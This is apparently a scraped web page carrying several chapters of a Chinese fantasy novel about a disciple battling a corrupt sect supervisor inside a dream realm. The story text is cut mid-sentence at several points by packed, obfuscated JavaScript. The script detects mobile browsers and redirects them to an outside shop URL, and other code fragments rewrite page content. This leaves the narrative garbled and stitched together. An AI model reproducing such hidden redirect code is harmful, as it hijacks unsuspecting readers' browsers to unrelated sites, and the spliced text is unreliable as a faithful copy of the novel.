0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017592|136669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门,百年不可进内门一步,望你好好反省!” 柳监院一甩袖,“你们等着,我会亲自教导女儿,让她进入内门,证明你们都大错特错!” 画面一转。 闻柳居小院内,柳监院拿着一根柳条,狠狠抽在柳若眉身上,“老子特意请来内门长老教你习剑,你偏偏要学刀,学刀就算了,还如此没用,老子抽死你!” 柳条夹着风声抽打,师姐的身躯不住颤抖,眼泪潸然落下。 林珑看得来气,然而场景又变。 魔气弥漫,柳监院站在一块凸起的暗紫色山石上,眺望下方的魔界,他身边站着一个身材魁梧的男子,眉心一道火焰魔纹,负手而立,猩红披风上下翻飞。 是魔君! 林珑的心砰砰直跳,她意识到自己看到了了不得的画面! “灵犀入梦珠,仙门至宝,它是掌控梦境力量的钥匙。”魔君的声音蛊惑,“得到它,你就能得到你想要的一切,没有人再敢看不起你。” 魔界的月赤红如血,柳监院唇角的笑容渐渐扭曲。 林珑暗暗心惊,柳监院竟然背叛了仙宗!他确实去过魔界,还认识魔君,难道他……真是自己要找的渣爹? “如何?本院的陈年旧梦好看吗?”阴恻恻的声音贴着耳侧响起。 林珑毛骨悚然回过头。 * 梦境动荡,无名追着林珑跨进梦境重合处,四周场景扭曲一阵后又恢复原样,柳枝轻摇,柔风细细。 四周不见林珑和柳若眉的身影,他的拇指抵上刀柄,谨慎在柳林中前行。 脚下泥土松软,点点柳絮飘飞。 前方人影一闪而过,长刀出鞘半寸。 纤灵秀巧的姑娘自柳树后探身,露出半张脸颊,颊边梨涡浅浅,“吓到你了?” 无名眼神一沉,长刀归鞘。 林珑从柳树后转出来,走到他身边,“刚才是怎么回事,突然一震,吓了我一跳。” “梦境重合——” “我们进入柳监院的梦境了?” “嗯。” “那……”她靠近一步,“我们该去哪找梦核呢?” 无名看了她一眼。 她含着笑,模样乖巧可爱:“我跟着你。” 两人一前一后走出柳林,又转回拱桥附近,这附近依然聚集着大量游荡的弟子,一见他们两,立刻蜂拥而上。 林珑下意识往他身后一躲,守梦人拔刀以对,式如惊鸿,刀气起落间,将一干弟子砍得七零八落。 然而弟子们人数众多,他费了一番力气,才清扫出一条路来。 “走。” 他们快速穿过拱桥,甩开身后穷追不舍的弟子,林珑一把拉住了他:“等等。” 他身形一僵,回过头。 “你受伤了。” 说是受伤,其实就是手臂上被一条藤蔓擦出一道浅浅伤口,放着不管,再过一会儿都要愈合了。 她从腰包里取出一个小药瓶,细心帮他撒上药粉。 “好了。” 她抬眸,正对上他幽深视线,银面具遮住了半张脸,他的鼻梁高挺,嘴唇很薄,下颌线刀削般完美。 她好像看愣了神,没察觉身后一阵尖刺突袭。 无名揽着她一个旋身躲过,她低下头,唇角悄然扬起得意弧度,手中匕首狠狠刺入他体内,鲜血瞬涌而出。 17. 双刀 “哎呀,竟然躲开了。” 这一刀本要刺入他心脏,紧要关头却被他避开要害,刺在锁骨下方位置,鲜血浸透了玄衣。 一刀虽偏,“林珑”却半点不慌张,唇角含着一丝浅笑,这匕首上的毒性足以麻痹一头巨象,不信守梦人还能动得了。 她伸手轻触对方的下颌,强迫他看着自己,感受着他的肌肉在自己指尖僵硬紧绷,得意道,“你对她还真是不设防呢。” 无名的眸沉如渊,看不出情绪。 “真没想到,梦境里还有这么优质的猎物,让我来看看,你到底长什么样。” 她舔了舔唇,分叉的舌头灵活地在外面转了一圈,伸手去碰他的面具,指尖刚触到冰冷的面具边缘时,腹部忽然一阵剧痛。 她愕然睁大了眼睛,低头一看,黑色长刀捅穿了她的肚子,鲜血淋漓。 “你……” 她不可置信抬起头,对上一双冰冷无情的眼。 “你没中毒?” “演技拙劣。”他冷冷评价。 “那你为何还……”她唇角涌出大量鲜血,表情费解,如果一早就看穿她不是林珑,为何还要陪她演下去? 一个荒谬的念头升起。 难道只是为了接近心中的那个人,他甚至不惜挨上这一刀吗? “疯、疯子……” 她喷出一口血,绝望倒在了地上,脸上的伪装褪去,变成了原本样貌,是一只半身覆着藤蔓的妖物。 无名收刀,大步跨过她的尸身,向着梦境深处走去。 * 梦境氤氲。 耳边骤然出现的声音,把林珑吓了一跳。 她像根弹簧瞬间弹飞几尺远,惊疑不定的盯着突然出现的柳监院。 从他身上,漫出一股渗人的压迫感。 林珑像小动物一样保持警惕,缓缓后退和他拉开距离,余光看到四周漂浮着黯沉沉的雾气,到处长满了深黑色的荆棘,荆棘中缠绕着长满铁锈的断剑残刀,一片倾颓景象。 这是什么地方? “林珑。”柳监院叫出她的名字,他身上也缠绕着一些暗灰色的雾气,双眼微微凸出,嘴角裂开,看起来面目狰狞。 他阴沉的眼神像黏腻的蛛丝,上上下下将她打量了好几遍,像要看穿她身上有什么秘密。 “你竟然能进入我的梦境深处,窥探到本院的隐秘。” “我不是故意的。” 林珑一脚踩进长着刺的灌木丛里,疼得龇牙咧嘴,她真不是故意看的,都是自动播放给她的,能怪她吗! 至于怎么进到这里来的,她就更不知道了。 她可没有单刷BOSS的爱好。 队友呢?队友呢? 快救一下啊! 眼前的柳监院,照灵境的威压逼人,他在梦境里看起来甚至比现实更强! 按理说,驱散做梦者内心的恐惧就能唤醒他,但看着眼前的柳监院,林珑很怀疑,她要是说一句“你肯定能当上内门长老”,一定是她先被爆头,而不是柳监院先醒。 “打扰了……我先走了。” 她偷偷掐了一个风字诀,准备脚底抹油溜了,谁知身体一沉,竟不由自主往前踉跄了好几步。 柳监院嘲讽,“在我的梦境里,还想耍小聪明?” 林珑暗道不妙,这家伙是在掌控梦境,而不是被梦境操控,柳监院对梦境的了解,远超过一般人,这次怕是踢到铁板了! 她手心冒汗,思考着还有什么办法能脱身,柳监院一步步走近,脸上的狞笑放大,“让我剖开你的脑袋仔细看看,你到底有什么不同之处。” 林珑猛地抓起一把沙土,对准他眼睛用力一扔,转身就跑。 “呸!找死!” 柳监院抬手再抓,荆棘丛中突然伸出一只手,拉了她一把,拽着她就跑。 风声过耳,四周景物在眼前飞速后退,过了好一会儿,看不见那些荆棘丛了,那人才松开了她。 林珑两腿发软,一下坐倒在地上。 那人掀开斗笠,“师妹,你还好吗?” “秦师兄!” 眼前人戴着一顶宽大的斗笠,一身靛蓝道袍上沾了不少灰土,看起来也有些狼狈,正是之前和她分散的秦泯。 她喘了口气,疑问道,“师兄怎么会在这?”还弄了这么副打扮? “甩开那群弟子后,我到了这附近,那边的荆棘从看起来有些危险,我没敢贸然深入,直到刚才听到里面传来人声,才冒险进入一探,没想到正好救了师妹……” 他压了压斗笠,“至于这个,我想,既然梦境中有这么多外门弟子,说不定也会有‘梦中的我’,我寻了个斗笠戴上,也好区分。” 林珑佩服不已:“师兄想得真周到。” 不愧是外门的学霸。 她环视四周,发现他们已经出了荆棘丛范围,这地方景象十分怪异,周围仍有浅浅的灰雾浮动,前方能看到影影绰绰的荆棘,条条鬼影似的,难怪师兄说不敢靠近。 这一回头,却又能看到薄雾中的七孔桥,婆娑的柳林,像隔着一层什么似的,似近实远,林珑猜测,这里可能是柳监院梦境深层的边界处。他暂时没有要追出来的意思。 “对了,刀师弟呢?” “师姐,我在这呢。” 旁边的草堆里,团成球的刀师弟探出一个脑袋来,冲她露出一个憨厚又不失害怕的笑,“师姐,你没事真是太好了。” 看到他,林珑就想起自己被那个藤球追出几十里地的遭遇,不由揉了揉腿。 “师姐,秦师兄说这个梦境不简单,可能有什么吞噬什么的,我也听不懂。” 他道,“你们刚才在里面看到了什么?” “大BOSS。” “柳监院。” 两人同时回答。 刀师弟愣了一下,抱头发抖:“完了,完了,大BOSS竟然是柳监院,他可是三阶修士,我们怎么打得过他!” 跟林珑混久了,刀师弟精妙的领会了两人的意思,然后更害怕了。 秦泯道,“这样看来,竟是柳监院在吞噬柳师妹的梦,但监院怎么会……” 他思索片刻,“也许,跟那颗突然失去亮光的灵犀入梦珠有关。” “你说什么?”林珑瞪大了眼。 七宝阁上的那颗珠子,还真就是她要找的东西? “师妹不知?”秦泯道,“灵犀入梦珠是仙门至宝,当世仅此一颗,大长老想尽办法,用了不少稀世奇珍为原料,炼制了两颗仿品,其中一颗就放在七宝阁内。”提起此事,秦泯语气充满佩服。 “此珠镇噩定神,保护弟子们远离噩梦,因而太一宗噩妖出现的几率比其他宗要低很多,不知为何,那枚入梦珠竟然熄灭了……” 说起此事,他神色有些忧虑。 林珑:搞了半天,原来是仿品。 说起来,萧无梦还真是没闲着,刀器双绝这个名号,除了他,一般人也担不起。不过,他既然能炼制仿品,真品必然在他手上。 “那个,你们有没有觉得……”两人说话时,刀师弟不安凑上来,“这雾越来越浓了……” 两人一惊。 抬头才发现他们已被灰雾包围,荆棘在以肉眼可见的速度生长,柳监院的梦境范围,竟然在扩大! 狂沙席卷,柳监院的身影出现在视线内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13035217|136669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你们几个,还真是不怕死。” “我拖住他,你们找机会跑。”秦泯小声叮嘱。 柳监院操纵着疯狂生长的荆棘,结成一堵墙,将他们的去路彻底封住。 “跑?往哪里跑?” “雷字诀!” 林珑掐诀,跑是跑不掉了,只有跟他拼了!玄雷自空中劈下,秦泯抓住机会,长剑疾刺,跟柳监院战至一处,他剑势沉稳,临危不惧,修为虽不及柳监院,靠着灵活身手与之游斗。 林珑和刀豆从旁骚扰,三人齐心协力,与他缠斗片刻,很快又落于下风。 他们脸色肉眼可见的变白,灵气消耗巨大,出招也越来越慢。 反观柳监院,好像没有半点消耗,越打越亢奋。 林珑注意到,那些细小的灰雾,正一点点被他吸入体内,“他在吸收梦境的力量!” 柳监院嗤笑一声:“发现了又如何,就凭你们三个,还远远不是我的对手。” 他掌凝黑光,准备结束这场闹剧,忽听一道曼丽嗓音响起:“再加上我呢?” 风沙簌簌。 一道纤丽身影从灰雾另一头徐徐走来,她走得不快,每一步都很稳。 “爹,我来做你的对手。” “师姐!” 见柳若眉出现,林珑喜出望外。 柳监院转过身,脸色彻底黑了下来。 “柳若眉。”他咬牙切齿的语气不像是面对女儿,倒像是看到了仇人,“你竟敢帮着外人对付我。” “原来帮师姐脱离困境的叫外人,那要将她赶尽杀绝的叫什么?”林珑嘲讽道,“监院不会厚脸皮到觉得你还是师姐的‘自己人’吧?” 柳监院怒斥女儿,“若不是你一再让我失望,又怎么会有今日!这么多年,爹在你身上耗费多少心思,你什么都做不到!你这个废物!” 柳若眉脸色还有些苍白,眼神却平静,“爹,或许我没能让您满意,但我对得起自己,我没有错,错的是您。” 林珑为她鼓掌:“师姐说得好!不是给口饭吃就叫养育,别把打骂叫关爱,你把自己实现不了的野心套在师姐身上,失败了就折磨师姐发泄,丢不丢人!” 秦泯有些诧异的看着柳若眉,记忆里她从来不敢反抗监院,她好像变了。 他将目光移向一旁——是因为这位林师妹吗? 比起平时的懒散模样,在梦境中,她身上似有种让人难以忽视的光彩。 柳监院的脸快比太一宗后厨烧了一百年的锅底都要黑了。 “够了!”柳监院道,“今日,便让你们都成为梦境的养料!我将成为界主,成为最强!” 说完,向着柳若眉冲了过去。 柳若眉掌心流光乍现,蝴蝶双刀赫然在手,如两道弯月寒芒,迎上了柳监院泛着灰雾的掌风。 招来式往,惊心动魄。 在即将融合的梦境中,两个梦核的每一次碰撞,都引来天象的剧烈反应。 天昏地暗,飞沙走石。 天边不断有雷光降下,地面不停摇晃,昭示着梦境的摇摇欲坠。 柳若眉的双刀精巧,像是翩然翻飞的蝶,一招一式都有着反复锤炼的功底,然而她本就是强撑着精神,难挽梦境将被吞噬的颓势。 尽管三人在旁帮忙,也难以战胜监院。 她只要一败,便意味着永夜将至,所有人都要被困死在柳监院的梦里! “师姐!”林珑不由焦急起来。 “别急,你能帮她。” 清冷嗓音从背后响起,林珑惊喜地回过头,“无名,你来了!” 目光落在对方肩头时又一凝,“你受伤了?” 18. 梦界 无名长刀在手,神色冷酷:“没事。” 林珑:…… 肩膀上一道血口又长又深,竟然说没事?他是没有痛觉吗?不对,稍微碰他一下,他反应都那么敏感,怎么可能没有痛觉? 她张了张嘴,想说什么又说不出来。 无名更没有急于出手,反而盯着戴着斗笠,正给柳若眉掠阵的秦泯,“他是谁?” “秦师兄。” “很熟?” 他锐利的视线扫过,让林珑觉得有些不舒服,熟不熟的,跟他有什么关系?为什么一副很在意的样子? “刚认识。” 无名神色稍缓,看向战局,“此人行招冲动,莽而无谋,虽然修为比你高,但并不难对付,他的弱点就在——” 他在点评柳监院,林珑听他的语气,好像是不打算动手的意思,顿时有点慌了:“既然他弱点这么明显,你一刀就能收拾了他吧?” 无名唇角轻挑:“我受伤了。” 林珑:…… 这时候你又不说没事了! “他练的这套功法,罩门就在心脉下三寸位置。” 说得轻巧,柳监院一招一式都是要杀人的力度,根本不可能近得了他的身,又怎么破开他的罩门? 除非—— 见她想到了,无名眼神掠过一丝满意,“你射箭的准头如何?” “还行。” 林珑难得在他面前谦虚一回,但其实作为一条咸鱼,她最拿得出手的本事就是这个了。在魔界生存,没有点本事根本活不下来,她硬是磨炼出了一手精准的箭技,体型小但行动迅速魔蜥蜴,她一射一个准。 “可是……” 这四人混战的场面,本来就不好命中目标,而且柳监院又不是魔蜥蜴,他的防御力起码是蜥蜴的一百倍,要是一箭过去“未能击穿敌方装甲”,多尴尬。 “这里是梦境。”他提醒。 “只要我想,就能做到?”林珑眨了眨眼睛。 他点点头。 “你之前还说我太弱。” “我说的是那妖物。” “……” 林珑盯着他半晌,他面色从容,好像真是那么回事,她将信将疑:“你真的信我?” 她总觉得,守梦人对她的态度好像有点微妙的变化。 “去吧。” “你不觉得少了点什么吗?” 让她射箭,起码得有把弓在手上吧! 这样想着,掌心莹光汇聚,梦境的灵气星星点点落在她手上,竟渐渐化成了一把弓的形状。 林珑张大了嘴:这也可以! 那她想要柳监院咔嚓一声直接嗝屁! 梦境回应了她一道粗闷的雷声。 好吧…… 这个好像不可以,梦境也做不到直接抹杀创造自己的人。 她握紧了手中的长弓,盯紧了场上的战局,柳监院掌风赫赫,逼得三人无法近身,她高呼一声:“师姐助我!” 柳若眉会意,擦去唇角血痕,舍弃灵巧身手,双刀在手上转了一圈,化为两道流光飞向柳监院。 “哼,不自量力!” 他双掌排开,声势浩大的掌威毫不留情将三人震翻在地。 林珑拉开弓弦,灵光如流莹,在她弓弦上化为一支流光溢彩的灵气之箭。她挽弓搭箭的姿势堪称完美,其实内心偷偷跑过了一群忐忑的野马。 师兄师姐都快到极限了,无名表面轻松,实际他的伤情况不知如何,也许他是真的伤得提不动刀了,才把希望寄托在她身上。 天光逐渐泯灭,四野一片昏暗。 梦境的吞噬到了尾声,她有且仅有一箭的机会。 她这一箭,寄托了他们能不能战胜柳监院、破除梦境的希望。 这让她怎么能不紧张? 她深深呼吸,指尖因为长时间保持一个动作而发麻,额头渗出了虚汗,内心有一种尖啸着想要逃跑的冲动。她只是一条咸鱼,她讨厌压力和责任,为什么非要她射出这一箭? 万一射偏了怎么办? 万一被柳监院挡下怎么办? 她会害了所有人! “林珑。”身后传来无名冷静的声音,“别犹豫。” 她没有回头,但能感受到对方投来的视线,那坚定有力的支撑,托着她的心到了安稳处。 只要她想,就能做到。 她轻轻吁了一口气,抬弓、凝神、瞄准、放箭! 四面八方涌来的风拂动她的衣发,发上的浅紫流苏蹁跹舞动,裙边像是层层叠叠绽放的莲花。她眼睛一眨不眨,像是漂亮的琥珀石,她神情无比专注时,气质和以往的灵动俏皮不同,精致的五官如同上天精心雕塑成的神女,有种凛不可犯的美。 灵气之箭如流星,正中柳监院心脉之下三寸处。 风雷滚动,一道夺目的闪电划破天际。 柳监院的护体灵气碎裂如镜,灵箭没入体内,他发出一声猛兽般哀嚎,缠绕他身上的灰色雾气飞速散去,他踉跄一步,脱力一般跌倒在地。 柳若眉收回双刀,锐利刀刃抵在了他脖颈处,“爹,你输了。” 柳监院满脸不可置信,他堂堂照灵境修士,竟然输给了这几个才筑基的弟子!他的废物女儿,竟能在他手下走这么多招,还敢把刀抵在他脖子上! 他脸上火辣辣,像被当场抽了巴掌,他百般不想承认,在他的打压之下,他的女儿依然成长成了一名出色的刀修。 他从喉咙里发出粗粝的喘气声,“柳若眉,你敢!你胆敢弑父,你这个不孝女——” “等一下!”林珑收了弓,凑上前,打断了吐沫星子乱飞的柳监院,“柳监院,你认识阴雪河畔的魑月吗?” 柳监院双眼一瞪:“什么玩意?!” 林珑:“呸!你才是什么玩意!” 但见他一脸莫名,神色一点都不像作假,对这个魑月名字毫无反应,分明不认识她娘,难道这个也不是她要找的渣爹? 林珑一阵灰心丧气。 外门能找的都已经找遍,难道她爹在内门? 正沮丧时,柳监院表情一阵扭曲,身体忽然膨胀起来,他双眼暴凸,张大了嘴,从他嘴里,一条足有人那么大的三眼蜈蚣快速扭曲着身体钻了出来。 林珑直接吓呆了。 身后有人拎着她的衣领,将她小鸡一样拎开几步,蜈蚣爬出之后,柳监院的身体像张皮一样扁了下去。 那场面别提多让人毛骨悚然了。 “怎么回事?” 柳监院的体内,为何有一只噩妖! 看他刚才那痛苦震惊的表情,他自己分明都不知道! 整个梦境剧烈动荡起来,天地猛烈摇晃,狂风大作,一块块碎裂的天幕砸落下来,外面是混沌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047557|136669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的虚空,脚下的土地也化为了虚无。 他们站在虚空和梦境交错之处,眼前场景飞速变幻,那条蜈蚣并未攻击他们,而是穿过了下方虚无的土地,仿佛穿过了一层无形的水膜,水面荡开涟漪,崩塌的梦境下方出现了奇异的景象。 无数的佛塔相连,佛寺楼台相接,如山峦连绵,梵唱不绝于耳。林珑揉了揉眼睛,这佛寺,看着竟然有些眼熟。 一个穿着纯白僧衣,唇红齿白,眉心点着红痣的小和尚盘膝坐在三眼蜈蚣身上,口念阿弥陀佛,周身散发着浓浓的阴邪之气。 难以形容那一瞬的视觉冲击,佛童的容貌圣洁如佛陀,气质却阴沉如恶鬼,他睁开漆黑的眼睛,看了一眼林珑。 林珑的心猛地一跳。 手腕上的红绳滚烫灼热,发出前所未有的光芒。她头一次知道这东西在梦里还能有反应。 “那、那是谁?”她的声音有点发抖。 “界主。” 回应她的,是无名压抑着愤怒的声音,他毫不迟疑,斩出了一道巨大的凌厉刀气! 银瓶乍破水面,底下的佛寺完好无损,仿佛和他们并不在同一个空间。 “这个梦境,本座收下了。” 念咒声起,崩塌的梦境如同水滴归海,一点点被吸入了水面之下的世界。 林珑恍然明白过来,下方是一个巨大的梦界! 这个界主,早就盯上了柳监院的梦境,趁着他吞噬柳若眉的梦境时,来了一招螳螂捕蝉黄雀在后,将他的梦境给吞了! 但是那噩妖是什么时候跑到柳监院身上去的? 柳监院对此竟然毫无察觉。 界主的能力,果然非同一般,她这才真正明白,无名所说“界主掌控整个梦界”的意思,这令人恐惧的噩妖,不过是他的坐骑罢了。 “守梦人,又见面了。”佛童目光移向无名,孩童声音稚嫩,语气却相当轻挑,“这次你的同伴,似乎不如以前啊。” 无名肩头的伤口渗出了血,他握紧了刀,手背暴起青筋,仇恨的火焰,点燃了他身体的每一寸。 纵然恨火燎天,他还记得身后有人,回身拉住了林珑。 “走!” 他带着林珑几人一路急奔,远离下方散发着巨大吸力的梦界中心。 佛童端坐在蜈蚣头上,漆黑的瞳像是来自地狱的反光。目送几人远去,他并未阻拦,唇角扬起了一抹意味深长的笑。 “开门。”无名道。 “啊?” “回你该回的地方。” 林珑恍然,她像上次一样,呼唤回到现实的门扉,前方亮起了星点,那扇门果然又出现了。 她准备踏入那扇门,脚步却迟疑了,这片刻间发生了太多的事,她有些担心无名的状态,像是遇到了深仇大恨的仇人,整个人在失去理智的边缘。 “那家伙看起来就很厉害,你不要冒险。” 无名没有说话。 “下次见面时,我们再想想办法。”见他没有反应,林珑又说了一句。 “林珑。”他的语气冷沉,“这里不是你该来的地方,以后不准再进梦境。” “可——” “记住我的话,远离梦境。”他深深看了她一眼,像是要将她记得更清楚,“以后,不必再见了。” 他抬手,将林珑推进了那扇门内,而后头也不回的冲向了梦界。 19. 灵鸟 凝香院内,气氛沉肃。 一身靛蓝道袍的静主坐在主位,文武两位掌事坐在两侧,看着下方四个弟子。 “你们——” 四人偷偷对视,谁也没说话。 昨夜他们从梦境出来后,发现七宝阁塌了大半,林珑在倒塌的书架边找到了意识迷糊的刀师弟和柳若眉,秦师兄更是不知为何半截身子被埋到了土里,被围观的弟子齐心协力挖了出来。 离开梦境时一片混乱,林珑甚至没注意到他们三个是怎么出来的,只记得守梦人那决然的背影,还有那句“不要再见”。 想起来心里仍有些堵得慌。 她知道无名的意思,他希望自己能远离危险,但她仍忍不住为自己辩驳:两次进入梦境,她都是无辜被牵连的,又不是自己想进去。 怎么能不生他的气?那语气跟要绝交似的。甚至没给她生气的机会,他转头就冲进了梦界。 不知道无名现在怎么样了,还活着没有,会不会被那界主给杀了? 一想到这,生气之余,还是忍不住担心。 她又想起那界主,娘亲的红绳,为何会对那界主有反应? 她知道,以那位界主的厉害程度,幻化外貌对他来说肯定轻而易举,孩童样貌背后说不定是一个活了几百岁的老妖怪。但他以和尚的样子出现,梦界中又有那么多佛寺,说明他大概率是个佛修。 娘明明亲口说过,她爹是太一宗的修士。 也许红绳又出错了? 不是柳监院,她爹到底是谁? 林珑一脑袋问号,根本想不明白。 昨夜动静闹得那么大,把所有外门弟子都惊动了,掌事们随后赶到,他们在另一座书架底下找到了柳监院的尸身。 监院浑身干瘪,血肉被抽空,变成了一具只剩皮和骨的干尸。 随后,他们几人被带到了凝香院,也就是外门的议事殿,讲述了事情的经过。 听到柳监院竟要吞噬亲女儿,两位掌事倒抽一口凉气,再听到界主出现,守梦人带他们逃跑,掌事们的表情只能用凝重来形容了。 殿内一片寂静。 林珑心情忐忑,这次出了这么大的事,镇阁宝珠坏了,柳监院死了,七宝阁塌了,不会又要罚他们吧? 她可不想去寒风山面壁,跟之前那几位仁兄作伴啊! “你们几个——”文掌事拉长了语调,把林珑的心高高吊了起来,“当赏!” “啊?” “这次你们撞破了柳监院的阴谋,让他阴错阳差死在了梦境中,避免入梦珠失窃,还带回了关于界主的宝贵情报,当重重的赏!” 文掌事一口气说完一连串话,喝了口水,欣赏下方弟子呆若木鸡的表情。 武掌事沉着脸,指节敲着扶手,没有表示反对。 掌事们经验丰富,能分辨他们说的话是真是假,其实没去过梦境的人,很难编出在梦境中的遭遇,更别说他们提到的界主,外门弟子都不知晓其存在,其实太一宗高层暗中追踪此人已久了。 只是这界主行踪隐秘,他们始终没有摸清他的身份。 他们推测,当晚应该是柳监院偷偷潜入七宝阁,想盗取入梦珠,不知怎的碰上了入梦珠坏了,最后偷鸡不成蚀把米,死在了界主手中。 这其中仍有许多疑点,不是一时半会儿能理清。 不过,后续也不是这几个弟子该关心的事。 “界主一事,暂不可对他人提起。”静主道,“你们想要什么奖赏?” “我想放假!” “弟子不用赏赐。” 毫无默契的声音同时响起。 林珑:…… 她看了一眼异口同声的柳师姐和秦师兄,简直想哭出声,什么“弟子不要赏赐”,你们高尚你们伟大,能不能不要带上她这条咸鱼? 经历了这么多危险,她想放个假,这点精神补偿也不给的嘛! 武掌事眼睛一鼓:“不长进!” 林珑低下头装委屈。 其实她也算走运,柳监院那段回忆只有她看到了,她将魔君的部分都隐瞒了下来,虽然这次没有牵扯到她,下次呢? 做卧底的苦,谁懂。 每时每刻都得提心吊胆,什么时候才能过上真正的咸鱼生活啊! “师姐。” “林师姐——” 走神片刻,刀师弟悄声喊她,她回神,掌事和静主都在盯着她。 林珑:? 说啥了? ……根据她丰富的蒙混过关经验,这种时候点头就好了。 武掌事道,“既然你们都没意见,两日后你等四人随内门弟子一起进入剑冢,挑选一把趁手的兵刃吧。” 林珑:啊? 她有意见啊! 不让放假就算了,还要加班,怎会如此啊! 这就是你们想出来的奖赏吗?! 还要和内门弟子一起,岂不是等着被嘲笑?师姐和师兄是进入内门的有力竞争者,加上她算怎么回事? 文掌事拿出几瓶丹药,叮嘱道:“你们刚离开梦境,近几日可能会头晕目眩、心神难宁,记得服用清心丹,若入睡时反复出现梦中场景,一定要来找我。” 她说得郑重,林珑心想,不就是梦境转了一圈,不至于吧?再看旁边,刀豆站立不稳,师兄脸色发白,柳师姐接过丹药,竟晕了过去。 文掌事:“速去医阁!” 一阵忙乱过后,四人都被送去了医阁,医修留下三人,将林珑轰了出来,“你就别来了,你比我还精神,看什么病?” 林珑:…… 怎么她就一点事都没有呢? 走出医阁,文掌事冲她招了招手,“林珑,你过来。” “掌事。”林珑乖巧蹭到她身边,外门中她最不怕的就是文掌事了。 她眼神清澈,像个无害的小动物,文掌事忍不住轻拍了拍她的头,而后从储物戒中拿出一堆东西,三角符、小玉牌、挂画,不是画了“仙人入睡图”,就是写了“好梦”一类的祝词。 自从噩妖出现以来,这些东西就变得格外畅销,从掌事到弟子人人都有,统称为“好梦符”。 文掌事翻出一张空白符纸:“林珑,你来替我写一张吧。” “我?”林珑有些意外。 这种符咒应该请专门的符师写才有用吧?她对咒文可是一窍不通。 “你只管写,没关系。” 既然她都这么说了,林珑想了想,歪歪扭扭写下了“睡睡平安”四个字。 文掌事笑眯眯接过,这字如人,越看越是可爱。 旁边伸过来一只粗壮的手,“咳,给我也写一张。” 抬头一看,竟是武掌事。 察觉到她的视线,武掌事有些尴尬,拿出一小袋灵石放在桌上,“这是报酬。” 写完两张符,林珑认真考虑——她是不是该开发一项副业?连掌事都找她写符,她还不赚得盆满钵满? 不过—— 她打了个哈欠,还是先回去睡一觉再说吧,这一晚上可累坏她了。 目送她走远,武掌事收起符纸,“她写的真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062865|136669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有用?” 文掌事道:“你以前买的那些符纸有用?” 自然是没用。 大部分的“好梦符”就是清心符改头换面,那些符师自己还睡不好呢,论起睡眠质量,整个外门加起来都比不上一个林珑。 他摇了摇头,担忧道:“七宝阁的那枚入梦珠坏得蹊跷,万幸这几个弟子没出什么事,也不知……咳咳咳。” 话未说完一阵剧烈咳嗽,文掌事帮他顺了顺气,“一把年纪就别这么操心了,这几日听内门的消息,大长老已经出关,也许噩妖之患有解了。” “当真?”他先是一喜,随即有些暴躁,“你说谁一把年纪?” “说我。” 文掌事非常懂得暴躁老狗要顺毛摸的道理,“去年静主酿的青梅酒还有几坛,咱们偷偷去弄两坛来。” “哼,回头她又要骂我。” “那你去不去?” “不去,老子要睡觉!” 话是这么说,但身体却很老实,跟着文掌事走了。 * 回到小院,林珑美美睡了一觉。 睡醒后,她寻了个没人的时机,将辛辛苦苦写完的工作总结通过秘密手段送往魔界,很快,就到了进剑冢这一天。 林珑难得起了个大早,去探望柳师姐。 柳监院死后,闻柳居就成了师姐一人的住处,灵霄花在桌上散发着莹光,师姐的气色看起来比前两天好了很多。 “林师妹,咱们出发吧。” “师姐。”她拿出一张皱巴巴的纸,上面画着几道赤红的图案,“你看这是什么?” 那天夜里,她在无名手臂上见到的咒印,就记了下来,这几天频频想起,有些在意。 柳若眉接过,凝神细看起来。 “这个咒印……” 她想了想,走到书架边,将一册看起来颇有年头的灵卷取了下来,翻到中间一页,“这种咒印名叫‘有悔’,是一种自罪咒,师妹是从何处看到的?” “什么叫自罪咒?” “修士不肯原谅自己犯下的错误,才会在身上刻下这种咒印。这种咒印十分罕见,发作时痛苦难当,是为了惩罚自己,不忘过去。” 林珑愣了一下,半天说不出话来。 什么样的错误,会让人如此无法释怀? 无名身上,到底有着什么样的秘密? “师妹?” 她摇了摇头,“咱们走吧。” 出门后不久,她们便和秦师兄、刀师弟汇合,通过传送阵进入内门,到了剑冢入口处。 内门弟子已经集结再在此,乌泱泱一大片,他们四个外门弟子显得尤为突兀,吸引了不少暗中打量的视线。 忽而流光划过,一只漂亮的灵鸟落在了林珑肩头。 这鸟儿约莫半臂长,羽毛丰密,洁白如雪,只有翅膀末端和长长的尾羽是一种浅淡的雾青色,如月笼轻沙,看起来仙气飘飘,华美非常。 